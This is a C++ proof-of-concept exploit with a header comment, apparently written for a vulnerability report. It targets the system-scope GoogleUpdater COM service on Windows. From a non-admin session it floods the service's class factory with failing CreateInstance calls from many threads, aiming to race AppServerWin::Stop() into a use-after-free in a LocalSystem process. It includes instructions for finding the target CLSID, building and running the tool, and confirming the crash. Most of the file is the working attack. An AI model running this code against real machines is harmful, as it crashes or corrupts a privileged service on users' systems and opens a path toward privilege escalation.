// POC: Concurrent WRL release-notifier race in GoogleUpdater AppServerWin::Stop()
//
// Target:  System-scope GoogleUpdater service (updater.exe --windows-service
//          --system --com-service), running as LocalSystem.
// Precondition: Non-admin Interactive logon session on a machine with a
//          system-level Chrome install (default GoogleUpdater service
//          registered). Service::InitializeComSecurity() grants
//          Sids::Interactive() COM_RIGHTS_EXECUTE | COM_RIGHTS_EXECUTE_LOCAL.
//
// Mechanism:
//   1. Obtain the IClassFactory proxy for CLSID_UpdaterSystemClass via
//      CoGetClassObject(CLSCTX_LOCAL_SERVER). This demand-starts the SYSTEM
//      service if not running.
//   2. From N threads, spam factory->CreateInstance(nullptr, <bogus IID>, &p).
//      Each call dispatches to an MTA RPC thread in the SYSTEM process. Inside
//      SimpleClassFactory<UpdaterImpl>::CreateInstance:
//        - RuntimeClass<ClassicCom,...> ctor → Module::IncrementObjectCount()
//          (0→1)
//        - QueryInterface(<bogus IID>) → E_NOINTERFACE
//        - temp ComPtr destructs → Module::DecrementObjectCount() (1→0)
//        - 1→0 transition fires the release notifier: AppServerWin::Stop()
//          on *that RPC thread*.
//   3. When two RPC threads enter Stop() and both load
//      on_service_stopping_.holder_.bind_state_.ptr_ before either nulls it,
//      both move-construct a local BindStateHolder referencing the same
//      single-refcount BindStateBase → double-Release / UAF →
//      indirect call through BindStateBase::destructor_ read from freed heap.
//   4. After a hit, the service crashes. Loop: the next CoGetClassObject
//      triggers SCM demand-start of a fresh updater.exe and we retry.
//
// Detection: Attach WinDbg / Application Verifier (PageHeap) to the SYSTEM
//   updater.exe, or run an ASAN build of updater.exe (out\asan\updater.exe
//   installed via `updater.exe --install --system`). Expect
//   heap-use-after-free in base::internal::BindStateBase /
//   scoped_refptr<base::internal::BindStateBase>::~scoped_refptr or
//   base::internal::BindStateHolder::polymorphic_invoke().
//
// Build (as non-admin, Visual Studio command prompt):
//   cl /EHsc /O2 /std:c++17 poc_client.cc /link ole32.lib
//
// Run (as non-admin Interactive user):
//   poc_client.exe [<clsid>] [<threads>] [<restart-loops>]
//   e.g. poc_client.exe {6DE83BBA-...} 16 10000
//
// CLSID note: CLSID_UpdaterSystemClass is branding+build dependent (uuid5 of
//   branding name + placeholder 415FD747-D79E-42D7-93AC-1BA6E5FD4E93). On a
//   target machine, locate it under
//     HKLM\SOFTWARE\Classes\AppID\<service-exe-name>  → AppID
//     HKLM\SOFTWARE\Classes\CLSID\{...}\LocalServer32 / LocalService
//   and pick the CLSID whose default value is "UpdaterSystemClass" (or whose
//   LocalService is the GoogleUpdater system service name). Pass it on the
//   command line.

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <objbase.h>
#include <unknwn.h>

#include <atomic>
#include <cstdio>
#include <cstdlib>
#include <thread>
#include <vector>

namespace {

// Default placeholder; override via argv[1] with the real per-branding CLSID.
// (This GUID will NOT work on a Google-branded install — pass the real one.)
static const wchar_t kDefaultClsidStr[] =
    L"{415FD747-D79E-42D7-93AC-1BA6E5FD4E93}";

std::atomic<bool> g_stop{false};
std::atomic<unsigned long long> g_calls{0};
std::atomic<unsigned long long> g_server_gone{0};

// A GUID that no UpdaterImpl interface implements, so CreateInstance fails
// E_NOINTERFACE *after* constructing (and then destroying) the RuntimeClass —
// cycling Module::objectCount_ 0→1→0 and firing AppServerWin::Stop() on the
// RPC thread.
static const IID kBogusIID = {
    0xdeadbeef, 0xdead, 0xbeef,
    {0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef}};

void HammerThread(IClassFactory* factory) {
  // Each thread joins the process MTA so its outgoing calls are dispatched on
  // independent RPC threads in the server.
  ::CoInitializeEx(nullptr, COINIT_MULTITHREADED);
  factory->AddRef();  // keep the proxy alive for this thread

  while (!g_stop.load(std::memory_order_relaxed)) {
    IUnknown* p = nullptr;
    HRESULT hr = factory->CreateInstance(nullptr, kBogusIID,
                                         reinterpret_cast<void**>(&p));
    g_calls.fetch_add(1, std::memory_order_relaxed);
    if (p) {
      p->Release();  // shouldn't happen with a bogus IID
    }
    // Expected: E_NOINTERFACE (0x80004002) on the happy path.
    // RPC_E_SERVERFAULT / CO_E_SERVER_STOPPING / RPC_S_SERVER_UNAVAILABLE /
    // RPC_E_DISCONNECTED indicate the server crashed or is gone — likely a hit.
    if (hr == HRESULT_FROM_WIN32(RPC_S_SERVER_UNAVAILABLE) ||
        hr == RPC_E_SERVERFAULT || hr == RPC_E_DISCONNECTED ||
        hr == CO_E_SERVER_STOPPING || hr == CO_E_OBJNOTCONNECTED ||
        hr == HRESULT_FROM_WIN32(RPC_S_CALL_FAILED)) {
      g_server_gone.fetch_add(1, std::memory_order_relaxed);
      g_stop.store(true, std::memory_order_relaxed);
      break;
    }
  }

  factory->Release();
  ::CoUninitialize();
}

}  // namespace

int wmain(int argc, wchar_t** argv) {
  const wchar_t* clsid_str = (argc > 1) ? argv[1] : kDefaultClsidStr;
  int nthreads = (argc > 2) ? _wtoi(argv[2]) : 16;
  int nrestarts = (argc > 3) ? _wtoi(argv[3]) : 100000;
  if (nthreads < 2) nthreads = 2;

  CLSID clsid{};
  if (FAILED(::CLSIDFromString(clsid_str, &clsid))) {
    fwprintf(stderr, L"Bad CLSID: %s\n", clsid_str);
    return 1;
  }

  ::CoInitializeEx(nullptr, COINIT_MULTITHREADED);

  fwprintf(stderr,
           L"[*] Target CLSID: %s, threads=%d, restart-loops=%d\n",
           clsid_str, nthreads, nrestarts);

  for (int restart = 0; restart < nrestarts; ++restart) {
    g_stop.store(false);
    g_server_gone.store(0);

    // Demand-start the SYSTEM updater service and grab its class factory.
    IClassFactory* factory = nullptr;
    HRESULT hr = ::CoGetClassObject(clsid, CLSCTX_LOCAL_SERVER, nullptr,
                                    IID_IClassFactory,
                                    reinterpret_cast<void**>(&factory));
    if (FAILED(hr) || !factory) {
      fwprintf(stderr,
               L"[!] CoGetClassObject failed hr=0x%08lX (retry %d) — "
               L"is the system-scope GoogleUpdater service installed? "
               L"Is the CLSID correct for this branding?\n",
               hr, restart);
      ::Sleep(250);
      continue;
    }

    // Hold the factory proxy on this thread so the server's
    // CoSuspendClassObjects() (inside UnregisterObjects()) does NOT prevent
    // further CreateInstance RPCs on the already-held proxy.

    std::vector<std::thread> threads;
    threads.reserve(nthreads);
    for (int i = 0; i < nthreads; ++i) {
      threads.emplace_back(HammerThread, factory);
    }

    // Run until the server drops (Stop() posts Shutdown(0) → process exits, or
    // the race fires and the SYSTEM process crashes), or a hard time limit.
    for (int ms = 0; ms < 30000 && !g_stop.load(); ms += 50) {
      ::Sleep(50);
    }
    g_stop.store(true);
    for (auto& t : threads) t.join();
    factory->Release();

    fwprintf(stderr,
             L"[*] round %d: %llu CreateInstance calls, server-gone=%llu\n",
             restart, g_calls.load(), g_server_gone.load());

    // The first Stop() that wins also posts Shutdown(0) and the server exits
    // cleanly even without the race firing; SCM will demand-start a fresh
    // instance on the next CoGetClassObject. Keep looping — the race window
    // (~2-instruction load/store in scoped_refptr move-ctor) is tight and
    // requires many retries.
    ::Sleep(100);
  }

  ::CoUninitialize();
  return 0;
}
